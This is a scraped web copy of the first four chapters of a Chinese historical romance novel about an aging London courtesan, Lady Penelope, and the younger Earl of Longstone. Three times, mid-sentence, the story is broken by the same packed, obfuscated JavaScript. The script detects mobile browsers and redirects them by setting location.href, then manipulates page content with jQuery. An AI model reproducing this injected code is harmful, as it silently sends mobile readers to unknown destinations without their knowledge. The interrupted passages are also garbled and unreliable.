《伪装浪子》 1. Chapter 1 “他们说，她就像新雪一样纯洁，啧，可怜的女孩，她还不知道怎样的摧残正在等待着她。” “他们什么？”在剧院的喧闹声中，朗斯通伯爵克里斯蒂安根本没注意听他的朋友杰瑞米·哈特利正对他说什么。 在讲述这种桃色八卦时，还能让听众走神，真是世界上最大的打击之一。 “我知道你很喜欢这出戏，但你都已经看了多少遍了。” 哈特利一边说一边颇有些气恼地顺着好友的目光看了过去，却发现，克里斯蒂安其实并没有在看舞台，他看着的是对面包厢里坐着的一个女人。 但很可惜的是，那位女士却根本没有注意到年轻伯爵的注视。此刻，她那双美丽的棕色眼睛正充满悲伤地看着今晚所演的经典悲剧。 佩内洛普·考德威尔女爵，全伦敦最著名的交际花。而她的名气，来源于她惊人的美貌，更来源于她优越的、本不该沾染任何丑闻的出身。 赫尔斯顿侯爵的独生女，明明如此高贵，却先是毅然与一个不知名的男人私奔，丈夫去世一年后，又成了她父亲多年好友林布鲁克子爵的情妇。 顶着这种惊天丑闻，她不以为耻反以为荣，跟她的情人出双入对时，从不曾忘记她那金光闪闪的头衔。 她到底是绝对的婚生女，而且直到她的母亲去世，她父母的婚姻都没有任何问题，所以，不论她选择嫁给什么人，也不论她的父亲承不承认她，她这一生永远都是佩内洛普女爵，这一点，无论谁也无法更改。 于是，在女儿这一系列令人目瞪口呆的操作中，可怜的老侯爵被逼无奈，只能选择远远逃往了国外，眼不见为净。 毕竟在这种情况下，赫尔斯顿勋爵不管做什么，雇人暗杀女儿也好，与女儿断绝关系也好，说自己没有女儿这无耻的荡.妇是个假货也好，都是在出丑给全世界看。 “你在看佩内洛普女爵？”哈特利问，“确实，她相当有吸引力。正好，你被你的情妇抛弃了，她也被她的情郎抛弃了，可以互相疗伤，只是，她对你来说会不会也太老了一点？不过嘛，人偶尔换一换口味也不错。” 虽然事实上，哈特利并不清楚这位美丽女士的真实年龄，但他想，那倒也不难推算，她已经辉煌了许多年头，绝对不会比三十岁年轻，而他的好友才刚满二十五岁。 “不，哈特利。”克里斯蒂安头疼道，“我与多萝西确实是和平分手，不要制造谣言。” 可哈特利根本不相信他。因为他多年情妇的离去，他已经郁闷好几天了，显然是受了严重的情伤。 哈特利正要再说点什么，还没张口，便已被他的朋友打断：“你说佩内洛普女爵被情人抛弃，莱顿抛弃她了？” “你还不知道吗？莱顿最近迷上了那个意大利女高音，玛格丽塔·贝罗奇奥。我记得她曾经还向你暗送秋波，可惜你当时心里就只有你的小多蒂，白白浪费了她的一片心意。” 玛格丽塔·贝罗奇奥？克里斯蒂安确实还记得这个黑发黑眸的意大利美人。可是他想，除了年纪确实小一点，她究竟有哪里比得上佩内洛普女爵？ 怪不得莱顿是个公认的蠢货呢。 他望着对面的包厢，她一点都没有改变。她一定早已经超过了三十岁，可是，她的双眼怎么会依旧如同二十多岁时一般明亮呢？她就不能看起来哪怕是稍微再沧桑一点吗？ 就在这一瞬间，她终于转过了头来，令她的目光与他的目光相遇。 她的眼睛睁大了，但她没有把目光移开。一瞬间，她的脸被揭开，她悲伤的表情消失了。她看起来貌似有些惊讶，淡淡的血色出现在她的脸颊上，而她丰满的嘴唇，也微微地张开。 然后，她对他礼貌地微笑了一下。 就是这个笑容，克里斯蒂安突然有了亲吻这些嘴唇的幻觉。他想象着用嘴捕捉她的喘息，感受她柔软的身体。她尝起来的味道会是什么样呢？ 在他再一次的走神中，哈特利仍然在继续说着：“我想，这也是佩内洛普女爵花枝招展地出现在这里的原因，莱顿提供的津贴估计只到本月月底，她必须赶紧找到下一个情人供养她。怎么样？你有什么想法吗？” 克里斯蒂安沉默许久后才不耐烦地开口：“当我求你，别在这胡言乱语了。我什么想法也没有，你就不能安静哪怕一分钟，只是好好看戏？” 哈特利只能乖乖闭嘴，不去跟一个刚刚失恋的男人计较。 克里斯蒂安确实不能继续听下去了。让他向佩内洛普女爵提供保护？不，绝对不行，永远不行，他最好是连想都不要去想。 他可以与多萝西保持数年的柏拉图式关系，正是因为他们兄妹一般纯洁的感情。在他心里，多萝西与他妹妹费思没有多少区别，当他望着她时，绝不会出现哪怕一丝杂念。 可是，这个女人呢？ 佩内洛普女爵对他而言完全不一样，她就只需要这样出现在他眼前，什么都不必做，就会让他脑海中冒出一些绝不应该的想法。他太想拥有她了，想得简直是整个身体都在疼痛。 所以说，让他去提议成为她的新保护人，之后却绝不去碰这个名义上已经属于自己的女人一根指头，那简直是世间最可怕的酷刑。 他对他的自制力根本不抱任何希望，而一个他这样的男人，永远也不该去妄想能得到一个她这样的女人。 她是那样的美丽出众，还曾在那么多完整的男人身上体会过人间极乐，她怎么可能接受得了只有半个男人呢？ 如若她知道了他的情形，糟糕一点，她会指着他残缺的身体放肆地大笑，让他滚蛋，美好一点，她会同情地看着他，并向他承诺说她绝对不会告诉任何人。 他相信应该是后者，她显然是一个心地善良的女人，可是，那对他来说，又何尝不是在往伤口上撒盐？ * “佩妮，你刚刚在看什么呢？” 佩内洛普一惊，立刻将头转了回来，目不转睛地盯着下面的舞台，试图忽视坐在她们对面的那个男人。 她太清楚他的关注了，即便在她没有看向他的时候。就仿佛她能感觉到他漆黑的眼睛正盯着她的皮肤，那几乎比夏日的阳光还要更灼热。 也许他看的并不是她呢？而是她浑身透着风情的朋友莎拉。 莎拉曾经也是著名的交际花，但在五年前，里士满男爵得到了莎拉的手，这个叛逆的乡村牧师的女儿，最终成为了男爵夫人。 而且，她忍不住想，年老的里士满男爵显然是不太清楚，但她与伦敦的许多绅士却都非常明白，莎拉婚姻外的生活可依旧是精彩得很呢…… “就只是随便看看罢了，这出戏太无聊了。”佩内洛普让自己声音平静道。 莎拉狡黠一笑，道：“别在我面前装，我知道你已经注意到了，有个男人在盯着你看呢。我想我还记得他，他貌似是，朗斯通勋爵？他非常英俊不是么？而且也颇有些风流名声。他看你的样子就像他正饿得要命，而你是一份美味珍馐。” 是吗？佩内洛普努力控制自己不要再向朗斯通勋爵看过去，看他的眼神是否真的像莎拉所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333940|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一般。 她最近毕竟是承受了很大的打击，她不希望会显得像个自作多情的小丑。 于是，她还是令自己去不为所动道：“你也知道这些上流社会子弟的，他们会看着所有女人，跟所有女人调情。” “那就去与他调情吧。”莎拉道，“与一个年轻、充满活力的男人开心一下。你还没结婚，这是好事，不像我，必须得忍受老男人潮湿且充满褶皱的皮肤与他床单下那些笨拙的爱抚，偶尔想找点乐子都得偷偷摸摸的。” 莎拉有意使气氛更轻松些，可佩内洛普却还是摇了摇头：“不，我不能再自欺欺人下去了，我对他来说太老了，与他调情是纯粹的浪费时间，也许他转头就会拿这事在俱乐部里做谈资，嘲笑我这个可悲可笑的老女人。” 她果然还是把一些蠢男人说的蠢话给听到心里面去了。 莎拉无奈地叹了口气：“我起码都说了一百遍了，别总是对自己那么苛刻，你现在的身材与你二十岁时几乎一模一样，别跟我说你的腰粗了一英寸，就那么一英寸，我的腰都粗了好几英寸了，而你的脸蛋也还是像天使一样甜美可爱。” 来自好友的真诚赞美确实让佩内洛普心里感到好受了一些，她温柔地看着自己的朋友，轻轻道：“谢谢，莎拉，你真好，而且永远都是这么好。” 她说话的语气表明她并不怀疑朋友话中的真心，只是，她显然也认为对方估计只是被她们之间十几年的友谊蒙蔽了双眼，这可真是让人绝望。 “你已经垂头丧气两天了。”莎拉道，“莱顿那种货色可不值得你这样，事实上我都不明白你之前怎么看上他的，他现在能跑去跟玛格丽塔·贝罗奇奥搞在一起很好，她跟他蠢到一块去了。” “因为当时就只有他对我还算有点兴趣。”佩内洛普自嘲地笑了笑，“于是我看不见他的任何缺点了。” “有一大把的男人渴望着带你进房间，比如对面的朗斯通，他的眼神都快要把你扒光了，就你还在这里死鸭子嘴硬。你太固执了，亲爱的，而且屡教不改。” “你从前明明还说坚持自我是我的最大优点。”佩内洛普似真似假地抱怨，“你也是知道的，莱顿并不是第一个才半年就抛弃了我的男人。这几年来，男人对我的兴趣确实越来越短暂了，我想，我很快就会留不住一个男人超过三个月了，再过两年，我就彻底无人问津了。” “那是因为你这几年来对男人的眼光变得越来越差了，我希望你明晚参加舞会时，脑子里进的水已经没有了。” “我没打算去了。”佩内洛普皱起了眉头，“我不想看莱顿炫耀他的新情妇，一个起码比我年轻十岁的女人，之后所有人都会看我的笑话。” “你躲着他们才更像个笑话。我们在这个该死的社会摸爬滚打这么多年了，你还能不清楚这个吗？” 莎拉紧紧地拉住了佩内洛普的手道：“我得好好地打扮你，你必须看起来高高兴兴的。毕竟你的前情人终于意识到了他不太适合聪明有教养的女人，并成功地找到了他的同类，这值得你庆祝一番。” 佩内洛普终于还是在朋友刻薄的话中笑了出来，并在之后的时间里也努力令自己保持了微笑。 她走不出来了。 她不明白，十七年的时间怎么会过得这么快呢？她因为青春美貌而倍受赞誉的日子就仿佛还是昨天，那时候，所有的男人都在等待着她的垂青…… 还是不要再继续想下去了，她如此告诉自己，她每天都在一点点变老，她以后为这件事流泪的时候还多着呢。 2. Chapter 2 当戏剧最终谢幕，佩内洛普仍旧沉浸在心中那片迷茫的情感海洋里，几乎是出神地在人群中穿行。 周围的人们步伐匆忙，大家都急着离开。她没有注意到，一位匆匆走过的绅士不小心踩到了她的裙摆，瞬间，她的重心不稳，身子猛然往后倾去。 在惊恐中，她努力想要抓住点什么，没有成功，但预料之中的疼痛也没有到来，一个男人立刻抓住了她，把她紧紧抱在怀里，离开了这一片混乱。 佩内洛普的呼吸一滞，心脏剧烈跳动着，像是被按进了一片热烈的火海。她的思绪被惊吓得一片空白，过了好一会儿，才缓缓抬起头去看这位救了她的男人。 光线有些昏暗，但他近在咫尺的气息却带着令人战栗的熟悉感。 “谢谢你，先生。”佩内洛普低声道，语气带着些许颤抖。 她原本还想说些别的，像是“你可以放开我了”，但话还未出口，他已微微松开了手，瞥了她一眼。 她的目光与他的相对，一道灼热的电流瞬间穿过了她的身体——她已经认出了他。 是朗斯通勋爵在抱着她，将他火热、坚硬的身体紧贴着她。 她无法把目光从这个年轻男人身上移开。他们周围的空气似乎噼啪作响，然后变得非常安静。 正如莎拉所说，他很英俊，甚至可以说，非常英俊。只需要轻轻一眼，便足以使一个刚出社交界的女孩脸红到脖子根。而她，她三十六岁了，明明足够年长、足够有经验，可是此刻，她就这么待在他的怀里，沐浴着他的目光，却还是会感觉到心跳加快。 她头脑混乱，一只手原本只是本能地按在他的肩膀上，结果，在她都没有意识到时，它已经悄悄地滑了上去，碰到了他丝滑的头发。她没有犹豫，将它们伸了进去，仔细地感受着他。 朗斯通勋爵的眼睛眯了起来。她看到他屏住了呼吸，下巴上有一块肌肉在抽动，似乎是感觉到了同样的紧张。 在短暂的犹豫之后，慢慢地，他的头还是情不自禁地低向了她，看起来是准备要吻她。可是，非常奇怪的是，在他这么做时，他的眉头却在他的脸上深深地皱着，好像他根本就不愿意碰到她，但是有些什么东西正在强迫他，令他必须得这么做。 这就像一盆冰水，把佩内洛普从这些感官迷雾中唤醒了过来。 “佩妮？你怎么不见了？” 佩内洛普听见莎拉那急切的声音，绵软的手立刻就恢复了力量，赶紧推开了紧紧抱着她的朗斯通勋爵。 “我……谢谢你，爵爷。” 她低声说着，然后踉踉跄跄地跑向了莎拉声音的方向。 “我在这里，莎拉。” 佩内洛普一边说，一边难堪地想，她刚刚看起来一定傻透了，她就像个乳臭未干的小丫头一样轻易地在男人怀抱中意乱情迷。 她早已经过了可以不理性的年纪。她是一个韶华不再的交际花，在这种摆明了比她年轻的英俊小伙子面前，她本应更警惕。他的选择太多太多了，他最多就是一时兴起，最终一定会抛弃她。她很清楚，若是轻易迷失在了他身上，她是不会有什么好结果的。 她不能再让自己变成那个样子，在深夜里一边喝酒一边流泪…… 当她用最快的速度回到莎拉身边时，她仍旧能感觉到自己胸口的起伏还未平息。她努力让自己的表情看起来从容不迫，但莎拉还是一眼就看出了她的异样。 “佩妮，你怎么了？”莎拉十分关切地看着佩内洛普，“刚才我喊你的时候，你都没理我。” 佩内洛普勉强笑了笑，扇子在手里轻轻摇动，仿佛这样就能驱散胸口的灼热。 “没什么，只是在人群里被人踩了裙摆，还好有位绅士扶了我一把。” 她刻意轻描淡写地说道，不愿意让莎拉察觉到她内心的震荡。 莎拉狐疑地看着她，然后似乎是想到了什么，嘴角露出一丝狡黠的笑意：“哦？那么，是哪位幸运的先生得到了你的感谢呢？” 佩内洛普垂下眼帘，避开她探究的目光，含糊道：“不是什么重要的人。” 但莎拉哪里是那么容易被糊弄的人，她很快就露出一个了然的微笑：“堂堂朗斯通勋爵也能算‘不重要的人’了？” 佩内洛普的手指不自觉地收。她还没来得及组织合适的反驳，莎拉已经轻笑出声，挽住了她的手臂道：“佩妮，我亲爱的朋友，你不必这样紧张的。就好像你们当真已经有了什么私情，虽然，你的样子确实值得玩味。” “莎拉！”佩内洛普忍不住瞪她一眼，语气里透出些许无奈。 “好吧，好吧，我闭嘴。”莎拉做了个投降的手势，可眼里却仍旧闪烁着八卦的光芒，“不过，我真的是很好奇，他究竟做了什么，竟然让你脸红了。” “我脸红只是因为剧院里太闷了。” 佩内洛普一边说，一边微微别开头，努力让自己的情绪恢复平静。她当然不会告诉莎拉，在那个短暂的瞬间，她竟然真的很渴望朗斯通勋爵的吻。那一刻，她仿佛又变回了那个年轻、炽烈、敢于追逐自己想要的东西的女孩——可那样的自己，早已死在了多年前的风霜之中。 “好吧，你说什么就是什么吧。”莎拉无可奈何地耸了耸肩。 之后，佩内洛普什么也没有再说，只是与好友手挽手一起走到了外面，让微风带着街道的气息冲刷着她，好抹掉朗斯通勋爵在她身上留下的痕迹。 它只差一点就要做到了。 * 克里斯蒂安闭着眼睛靠在墙上，听着佩内洛普·考德威尔从他的身边跑开，鼻腔中仿佛仍然能嗅到她身上的法国香水味，双手也仿佛仍然能感觉到她柔软的、充满了诱惑力的身体。 他就这么独自安静地回想着她所带来的一切感受，整个人都因为强烈欲望的袭来而变得僵硬。 他讨厌自己这个样子，因为那个女人的一点点触碰兴奋不已。尤其，他还感觉得出来，她貌似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333941|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在渴望着他。 他知道自己表面上还算有点吸引力。这么多年来，他一直努力地想让自己像个男人，所以他学习了许多最有男子气概的事，并决心做到最好。 于是，她就像其他所有人一样，误以为他确实很有男子气概，他从她星空般深邃的眼睛里看到了这点。而当她抚摸他的头发，向他靠过来时，她柔软的嘴唇微微张开，那是任何有脑子的男人都能看得懂的暗示。如若他不是那么犹豫不决，他本可以吻她的。 他只差一点就可以尝到她的味道了。她美丽的嘴唇一定就像雅歌中所写的那般，能滴下蜂蜜…… 主耶稣基督，他后知后觉地想，他可真是彻底糊涂了。他当然不应该想要亲吻她，他甚至应该感谢里士满夫人的呼唤让他没能达成他这些可耻的、下贱的心愿。 “该死，真是该死！”他喃喃自语。 “你怎么跑到这里来了？”他听见他的朋友杰瑞米·哈特利说。 “天呐，你真的觉得很不好过是吗？”哈特利十分关切地看着克里斯蒂安，“要不咱们待会去阿尔玛夫人那看看。你也该走出来了，你知道珀尔一直在思念你的是吧？而且，阿尔玛夫人那里最近刚来了两个比利时女孩，听说非常卖力，简直能把泰晤士河吸干。” 妓院？这是克里斯蒂安目前最不需要的。他太累了，也实在受够了必须靠这些方式假装自己是个正常的男人。他忍不住想念起了多萝西，在多萝西还没有与少女时的音乐老师订婚，仍然充当他的情妇的日子里，他一直很高兴自己经常能用她做借口躲开绅士们的这些小乐子。 至于哈特利所说的珀尔，确实，他还记得她。她是个很好的姑娘，当他在女孩中选出她来，并提出只要她不告诉任何人他什么也没有做，他会付她双倍的钱时，她答应了，而且确实做到了始终守口如瓶。不然她但凡告诉了她的一个同事，全世界都知道他在妓女的房间里光看书了。 珀尔…… 克里斯蒂安想着这个年轻漂亮还颇有几分淑女风范的女孩，再想想佩内洛普女爵。 也许，他可以干脆就让珀尔充当他的新情妇？他会为这女孩提供一份最慷慨的合同，保证即便未来有一天他决定与她分开，又或者是她想离开了，她也会一辈子衣食无忧。 然后，作为一个有基本道德的男人，他会在身边有人的情况下管住自己，不再继续对着佩内洛普胡思乱想，而佩内洛普也会迅速找到她的新情人，毕竟她是一个那样出众的美人。 他努力为自己做着计划，可那个女人美丽的身影却始终在他眼前晃动。 那个令他心跳失控的女人。 那个……永远不可能属于他的女人。 佩内洛普。 她就是无法消失，于是，也让他根本没法立刻去实现这些，他连一丁点兴趣都提不起来。 “改天吧，哈特利。” 他的声音低哑，带着一丝说不清的疲惫，“还是改天吧。” 3. Chapter 3 佩内洛普几乎从未因为一场普通的舞会而如此焦虑过。 她在莎拉充满期望的眼神中，同意了一定会穿上莎拉曾经送给她的那件所谓最能衬托她眼睛与身材的礼服，并发誓，一定会好好施展自己的魅力，让所有人相信莱顿勋爵是个傻瓜。 可她对此根本毫无信心。 她哪里比得过年轻的充满野性魅力的意大利美女？ 她真希望自己可以躲开那对情侣，然而可惜的是，就像她一直以来都十分清楚的，上帝从来不愿听一个罪人的祈祷，他们偏偏是一前一后到的。 她前脚刚解开斗篷上的扣子，让男仆将它带走，一转头就看见他们也走了进来。 她的前任情人——她现在真不想承认这个——也看见了她，并给了她一个相当恶心的微笑。 她没有给他过来打个招呼并冷嘲热讽的机会，直接就假装自己没看见他，落荒而逃了。 她是肯定实现不了她的那些誓言了，当她一个人静悄悄地站在角落里时，她忍不住挫败地想。 如果她的朋友现在在她身边就好了。莎拉一直以来样样都比她强，就像当年，如果没有这个勇敢友善的女人接纳她、帮助她，软弱如她，又怎么可能会有今天…… 别总是想着莎拉了！她吐了一口气，告诉自己，她不能总是指望别人。这场舞会是她一个人的战场，她不仅得应付莱顿，她还必须利用每一个社交场合找一个合适的新情人来供养她。 她仔细整理了一下自己身上由莎拉挑选的礼服，抚平了每一个褶皱，希望自己看起来状态还不错。 就在这时，一阵微妙的感觉十分忽然地掠过了她的后背，她情不自禁把手伸过去摸了摸，之后，又检查了一下自己的头发是否完美。 在确定了自己的头发也没有出现任何问题后，她转过了头。 当她的目光果然与一个男人的目光相遇时，她的皮肤上又掠过一阵颤栗。 此刻，这个男人正在随意地与身边人打着招呼，但他的目光却一直没有从她身上移开。 朗斯通勋爵…… 他们只见过寥寥几次，他对她来说几乎还是个陌生人，但他太有魅力了，令她实在无法忽视。 她紧紧握住扇子转过了头去，告诉自己，她早已经不再是那个第一次参加舞会的年轻女孩了。 然后，她皮肤上的那种特殊感觉再次出现了，而她的脑海中，也突然闪现出了他在混乱之中搂住了她的腰，将她拉进怀里的画面。 她一想到他身体上温暖的气息，就简直想要发抖。 她的心思逐渐开始跑歪了。她确实也是来寻找一个新情人的不是么？ 反正她都已经接受自己无法留住一个情人超过半年的事实了，那她为什么就不能在这个年纪稍微不那么稳妥一点，去与一个年轻小伙子，玩玩？哪怕就只有一个月、一周、一天…… 她的脑内正天人交战，很快，一个女人的声音便从不远处传了过来。 “我听说有些女人，脸上的皱纹都快能夹死蚊子了，还整天出来在男人面前搔首弄姿呢。不过这也不错，大家都有洋相看了。” 淡淡的意大利口音，显然是该死的玛格丽塔·贝罗奇奥！ 这些话摆明了说给她听的，还偏偏在她心里正偷偷肖想着朗斯通勋爵的时候。于是，就像被戳穿了心思般，她羞耻不已，简直都想挖个地洞直接钻进去了。 她什么也没有回应。她太清楚了，在这种情况下，她不管做任何反应都是在恼羞成怒，在出丑给全世界看。 她只能暂且忍气吞声，十分僵硬地挪动着双脚，想着自己至少还能远远走开。可她才刚慢慢走了几步，另一个声音就响了起来。 “佩内洛普女爵，今晚能见到你真是太好了。” 她愣了愣，因为这正对她说话的是一个十分陌生的声音。 但她还是转过身，并在极度的惊讶中慢慢向那位最出众的伯爵伸出了手。 “晚上好，朗斯通勋爵。”她努力隐藏了自己的受伤，假装他们很熟悉，微笑着，用颇亲昵的语调与他说话。 她没有去考虑太多，既然这黑发的阿多尼斯都主动过来为她出头了，她为什么不能配合配合？ 当他礼貌地亲吻她的手背时，她几乎无法控制手臂的颤抖。 “这件礼服很适合你，女士，你从来不需要大量的褶皱与花边来装饰自己，因为你本身就已足够精致。” 他盛赞着她简约的礼服，眼睛又轻蔑地瞥了瞥贝罗奇奥小姐身上极尽繁复之美的礼服，含义显而易见。于是，所有人都不禁看起了这意大利美人的笑话，尤其他们可都知道她曾经是多么努力地向他献媚。 佩内洛普几乎都有些不忍心去看贝罗奇奥小姐那挫败的脸。当然了，这并不妨碍她同时也觉得开心。毕竟是有些可能活不到三十岁的女人先释放的恶意，她乐一下怎么了？ 不过，她还不知道年轻的伯爵究竟对她怀着一些什么样的想法，为此，她心中不免有些隐约的紧张。 当她的目光再次与他的相遇，他的眼睛里没有流露任何东西，他只是十分僵硬地向她伸出了手臂。 她欣然接受。 玛格丽塔·贝罗奇奥的话终究是让她冷静了下来。他真的还很年轻，她看着他英俊的侧脸，他最多也就只有三十岁，若是真的和他调情，很快，她就得开始嫌弃自己，觉得自己像个惹人厌烦的老太婆。 “虽然我非常感激你的英勇，爵爷，但我想，我们貌似还没有经过介绍吧。” “很抱歉，我想，我确实不该这样冲动地过来与你说话。”他沉默了一会儿，才终于轻轻开口，语气听起来略微有点奇怪。 不，这是没有的事！ 佩内洛普想，她可真是昏了头了才会说出这种奇怪的话，她以为她是谁？一位名声很好听的太太小姐吗？ 她有些尴尬，正不知道该再说什么，而莎拉，她亲爱的莎拉，她永远的救世主，总算是打扮得花枝招展地挽着丈夫的手臂出现在了她的面前。 她停下了脚步，而她英勇的保护者则有些惊讶地看着她，等候她的开口。 “不，当然不是，请让我再次感谢你，爵爷，你帮了我的大忙，而现在，我也希望你会原谅我，我看到了一个朋友，我必须去与她打声招呼。” “这是我的荣幸，女士。”他礼貌道，“我很期待我们的下次见面。” 在他那深深的、专注的目光中，佩内洛普意识到她的心跳又加快了。 她不明白，他在看着每个女人的时候都是这样的吗？就仿佛她是这个世界上他唯一能看到的物体，那可真是，非常让人着迷…… 该死，真该死，她后知后觉地想，她可真是越活越回去了，她可是个绝对老练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333942|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的交际花，实在不该如此轻易地受到男人的影响，像个十七岁的情窦初开的白痴。 她想着自己的身份，对他露出了她标志性的微笑，然后，便十分冷静地从他的身边走开，去找到了她的朋友。 莎拉拉住了她的手，首先便赞美了她的礼服与首饰，然后才忍不住询问：“你怎么了？你看起来好像有点不太对劲。” 佩内洛普道：“就只是有点紧张而已，你知道我一向讨厌在分手之后再见到从前的情人的，多尴尬啊。” “确定不是有哪个英俊的男人让你神魂颠倒了吗？”莎拉的声音中带着笑意，一股热浪涌上了佩内洛普的脸颊。 她就知道这个女人有鹰般的眼睛，已经看到了她与朗斯通勋爵走在一起。 “我早就不可能为男人神魂颠倒了。”佩内洛普道。 “关于这一点，我必须赞同佩内洛普女爵。”里士满男爵道，“她非常理性，几乎是冷酷。” 莎拉用扇子点了点丈夫的胸口，道：“你追不上她，当然觉得她冷酷，也许你现在还在遗憾这个。” “不，亲爱的。”他拉住了妻子的手，举到唇边吻了吻，“你明知道我多么爱你永远热情如火的样子。” 佩内洛普按捺住翻白眼的冲动，道：“当我求你们了，还是把这些调情表演留在卧室里吧，现在在你们面前的，可是一个刚被抛弃的女人。” “别去想那个蠢货了。”莎拉道，“你今晚光彩照人，随时都能找到更好的。” “莱顿甚至都不配亲吻你的裙摆。”里士满勋爵补充道。 “我就只是离开了几个月而已，这是怎么了？”一个男人的声音忽然在他们身边响起。 佩内洛普惊喜地转过头：“珀西瓦尔？真高兴再见到你。” 珀西瓦尔·奎因爵士向男爵夫妇打了招呼，才又吻了吻佩内洛普的脸颊。 “佩妮，真是好久不见了，我希望你一切都好。” “当然。”佩内洛普立刻道。 可在他探究的目光中，她简直都要无法强颜欢笑。他与她曾一起度过了五年的美妙时光，直到他向她求婚，她被吓跑了。 他太了解她了，他会看穿她的。 但他没有拆穿她，对此，她不禁松了一口气。 当里士满男爵夫妇识趣地去与其他人进行必要的社交时，他又悄悄问她：“你貌似认识了朗斯通伯爵？我刚刚听到有人在讨论你们。” 佩内洛普吃了一惊，然后，她慢慢摇了摇头，委婉道：“我不算认识了他，就只是，有人对我说了一些不太友善的话，他将我解救了出来。” “原来如此。” 珀西瓦尔爵士明白，她都这么说了，那一定不仅仅只是不太友善。 “朗斯通勋爵确实一直是个正派的人，会见不得这种事倒也正常。” 莎拉注意到了他们的话，忍不住问：“嗯？哪个正派的人呢，珀西瓦尔？” “朗斯通勋爵，你不知道他刚刚与佩妮的小故事吗？” “朗斯通勋爵。”莎拉拖着长音念出了这个名字，又意味不明地笑了笑。 “他是不是正在向我们走过来呢？” 佩内洛普很快就意识到莎拉说的是真的，朗斯通勋爵正在向他们走过来。 不，事实上，不是他们，就只是她。 他正在向她走来。 4. Chapter 4 佩内洛普再一次感受到了那种无解的紧张，她该对他说什么？这个问题简直让她有些恼火。她的成就不是白来的，多年以来，她一直擅长于调情，她怎么会不知道应该对男人说什么？ 也许这还是该怪莱顿与他的小情人，他们都对她太刻薄了，让她一下子变成了这么个怯手怯脚的样子。 她的旧情人珀西瓦尔爵士为他们简单地做了介绍，便找了个借口走远了，而莎拉也是早就拖着她那一把年纪的丈夫不知道跑到哪个地方去了，就留下他们两个人在这里。 太明显了，这群人，简直是演都不想演一下。 当管弦乐队开始演奏起了华尔兹的旋律，他低沉的声音拂过了她的感官：“可以请你跳支舞吗，我的女士？” 她本想要开口答复，可最终，她还是选择只是点了点头，什么也没有说。 然后，她把手放在他的手里，让他带着她来到了舞池中央。 佩内洛普一直是个优秀的舞者，可当她被他拥入怀中时，她发觉，她的舞步开始变得不再那么完美。 于是，她没有抬头，而是坚定地让自己去注意他今晚的领结打得怎么样，以及他的礼服肩膀处的剪裁，好让自己可以别再继续胡思乱想，就好好地跳完这一支舞。 她可不会让一个男人把她搞糊涂，尤其是当这个男人还比她年轻的时候。 “这是一件漂亮的晚礼服吗，佩内洛普女爵？” 这句话让佩内洛普迅速地抬起了头，她的眼睛睁得大大的，这使她看起来远比她的年纪天真。 “你确实有个好裁缝，爵爷。”她对他露出一个熟练的微笑，“我只是在想，貌似很少看见你出现在这种场合。” “这没办法，毕竟任何有钱有爵衔还会呼吸的单身男人出现在这种地方就只有一个结果，被一大群有适婚女儿的母亲死死缠住。我还不想那么早就被拖着跨入婚姻的坟墓，所以，我只能小心一点，能不露面就不露面。” 他的坦率逗笑了佩内洛普。 听着她的笑声，克里斯蒂安心中感到一阵满足。真好，他让她笑了，真真切切地笑了。 “能听见你笑真好。”他太高兴了，不禁有些冲动地开口道。 闻言，佩内洛普的笑容瞬间消失了。她怔怔地望着他，热气慢慢涌上了她的脸颊。 果然是个年轻人，她想。 她都多久没有听见过这样的话了？ 她不希望自己会太喜欢他，可是，他在她面前略显笨拙的样子真的很讨人喜欢。 她深深地吸了口气，本是希望可以清除杂念，却没想到反而使得她的整个鼻腔都充满了他身上干净的气息，这令她的心跳不禁漏了一拍。 “那个男人实在是个蠢货。”他又道。 他的声音中有一丝愤怒的暗调，她跳错了一个舞步，踉跄了一下。当她回过神来时，他已经把她拉得更近了。 佩内洛普愣了愣：“请你原谅？” “莱顿。”他说，“我承认，我不该这样去谈论他人，可他确实缺乏头脑。” “好吧。”她礼貌但勉强地笑了一下，“看来我也缺乏头脑，居然跟他一起过了那么久，真是我职业生涯的耻辱。” 他也被她逗笑了，她意识到她也开始觉得，听见他笑真好。 他按住她的后腰，将她更紧地搂进怀里。随着他的热量和气味充满她的感官，她发现自己很难正常呼吸。 随着华尔兹的音乐走向高潮，他们逐渐心无旁骛。一圈又一圈，每一次旋转，熟悉的华尔兹都变得更加黑暗、陌生和火热。 当音乐停止，他颇为不甘愿地松开了手，让自己后退了一步，才继续道：“请相信我，女士，我看到许多人都正为你的心不再继续被他占据而喜悦，大家都知道他根本配不上你。我也希望你很快就能找到更适合你的人。” 他好像是正在真诚地赞美她，可却没有使她的心多么感到甜蜜。 因为她意识到他完全排除了他自己。 